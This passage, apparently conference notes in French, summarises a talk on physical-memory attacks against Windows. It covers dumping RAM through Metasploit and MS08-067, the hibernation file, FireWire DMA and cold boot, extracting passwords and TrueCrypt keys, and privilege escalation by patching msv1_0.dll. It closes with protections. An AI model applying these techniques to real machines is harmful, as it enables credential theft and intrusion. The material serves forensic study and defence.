  • discrétion ; l'analyse post-mortem est plus difficile à effectuer ;

Outils

En cas d'accès avec les droits administrateur a la machine, les différents outils existant permettant d'effectuer un dump de la mémoire physique sont:
  • win32dd
  • dd (pour Windows)
  • MemoryDD
  • mdd_1.3.exe (plugin memdump de Metasploit)

Exploitations

Il existe différentes méthodes d'exploitations dont, en remote:
  • utilisation du plugin memdump de Metasploit, que l'orateur démontre en exploitant la faille bien connue MS08-67 (SMB), et en injectant mdd_1.3.exe sur la machine cible.
et en local:
  • exploitation du fichier hiberfil.sys. Ce fichier est crée lors de la mise en hibernation du système Windows, et n'est jamais supprime (!). Par défaut, ce fichier est protégé en lecture. Cette protection est contournable en utilisant hobocopy ;
  • utilisation de WinDbg via le port série ;
  • récupération du fichier crash dump, memorydump (suite a un BSOD) ;
  • accès DMA en utilisant le port FireWire. L'orateur mentionne qu'il suffit de 7 minutes pour récupérer 1Go de données ;
  • dans le cas d'une virtualisation, le fichier .vmem contient une image de la mémoire de la machine virtuelle, accessible en lecture ;
  • enfin, l'orateur insiste sur la persistance des données dans la mémoire physique en cas d'arrêt brutal (3 minutes a température ambiante, 10 minutes en refroidissant la barrette mémoire). La barrette peut être récupérée et placée sur un système dédié (mcgrewsecurity.com).

Analyse

L'analyse des données mémoires récupérées peut se faire a l'aide de technique classiques (utilisation de strings, hexdump, couplés à des expressions régulières) ou d'outils plus spécialisés dans le Forensic, tels que Volatility, Memorise, PTFinder, ...). Certains outils requièrent un format spécifique ; heureusement certains utilitaires ont été développés pour effectuer des conversions entre les formats dump/Raw/sys(hibernate)...

L'orateur montre qu'énormément de mots de passe de différentes applications apparaissent en clair dans la RAM, ce qui en fait un vecteur d'attaque privilégié.

Il montre aussi que lors de la suppression de l'historique des browser web, la mémoire se remplie avec l'intégralité de l'historique, ceci etant du à un accès en lecture à l'historique stocké sur le disque.

Cas de zones chiffrées

L'orateur détaille le principe de l'outil PassWareKit qui permet de récupérer la clé de déchiffrement d'un volume TrueCrypt à partir de l'analyse de la mémoire d'un système correctement exploité.

Elévation de Privilèges

  • Manipulation de la mémoire directement par port serie + windbg, en se basant sur des processus lancés avec des droits SYSTEM ;
  • En modifiant la librairie msv1_0.dll qui gère les authentifications, dans le fichier d'hibernation ;
  • En modifiant la librairie msv_1.0.dll par un accès DMA.

Protections

  • Protéger l'accès physique à la machine ;
  • Protéger l'accès au BIOS (pour éviter un boot sur USB, CD-ROM ou même boot sur le réseau) ;
  • Chiffrer le disque dur ;
  • Désactiver l'accès DMA (Firewire) ;
  • Désactiver le port série ;
  • Désactiver la veille prolongée ;
  • Désactiver, ou réduire la taille, du crash dump ;
  • Changer régulièrement de password ;
  • Avoir une bonne politique de mise à jour ;
  • Verrouiller la machine lorsqu'on s'éloigne d'elle.

Liens

Arnaud à mis en ligne le support de la présentation et le papier sur le sujet. Tout est disponible ici.